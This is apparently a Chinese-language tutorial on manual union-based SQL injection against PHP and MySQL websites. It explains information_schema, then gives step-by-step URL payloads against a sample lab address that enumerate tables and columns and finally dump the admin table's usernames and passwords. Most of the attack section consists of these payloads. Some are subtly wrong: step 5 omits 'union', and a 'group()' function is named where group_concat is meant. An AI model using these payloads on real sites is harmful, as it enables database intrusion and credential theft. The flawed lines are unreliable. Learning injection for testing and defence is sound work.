MySQL注入主要是针对php的,这里先列举一点MySQL的基本操作:
select version(); #查看mysql版本
select user(); #查看当前用户
select database(); #查看当前打开的数据库
show databases; #查看MySQL中包含了哪些数据库
use test; #打开test数据库
show tables; #显示数据库中的表
关于MySQL手工注入要引入一个重要概念:元数据库information_schema
在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其他数据库的信息,在对PHP+MySQL类网站进行注入时,主要就是针对information_schema数据库进行操作
information_schema中比较重要的数据表:
a.schemata:用于存放所有数据库的名字
b.tables:用于存放所有数据库中的数据表的名字
c.columns:用于存放所有数据库的所有数据表中的所有字段的名字
利用information_schema查看其他数据库的内容:
select table_name from information_schema.tables where table_schema="test"; #查看test数据库中包含了哪些表
select column_name from information_schema.columns where table_name="hack"; #查看hack数据表中包含了哪些字段
MySQL手工注入一般过程:
1.判断注入点,这个和ACCESS一样,就不多说了
假设URL为:192.168.80.X/info_show.php?info_id=12
2.判断字段数(假设字段数为5):
还是用order by
3.联合查询(不需要指定表名)
192.168.80.X/info_show.php?info_id=12 union select 1,2,3,4,5
如果不想显示出原有界面,可以在union前附加条件:"and 1=2"
192.168.80.X/info_show.php?info_id=12 and 1=2 union select 1,2,3,4,5
4.查询版本号,当前用户,当前数据库
将可见字段替换为version(),user() ,database()(假设2,3,4为可见字段)
192.168.80.X/info_show.php?info_id=12 union select 1,version(),user(),database(),5
注:查询版本号是为了判断能不能对元数据库进行操作,查询当前用户可以判断下是否为管理员
5.查看当前数据库中的表(假设A为当前数据库):
192.168.80.X/info_show.php?info_id=12 and 1=2 select 1,table_name,3,4,5 from information_schema.tables where table_schema="A"
这里还有比较有用的一个函数:group_concat(),可以显示字段中的所有内容
192.168.80.X/info_show.php?info_id=12 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="A"
6.查看表中的字段(假设存放用户名密码的表为admin)
192.168.80.X/info_show.php?info_id=12 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="admin"
同样的这里也可以加group()函数
7. 爆用户名密码
在知道字段的情况下,直接把可显字段替换为username和password可能还会显示不出来,这是因为网站编码不一致导致的问题,这里可以用一个函数:unhex(hex())进行编码转换
192.168.80.X/info_show.php?info_id=12 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin
注:关于这个函数的作用,就像记事本一样,可以自动过滤掉所有格式,只留下纯文本
关于MySQL手工注入这里就总结这么多,同样的也有很多现成的工具可以进行MySQL注入,有兴趣的可以自己找一下。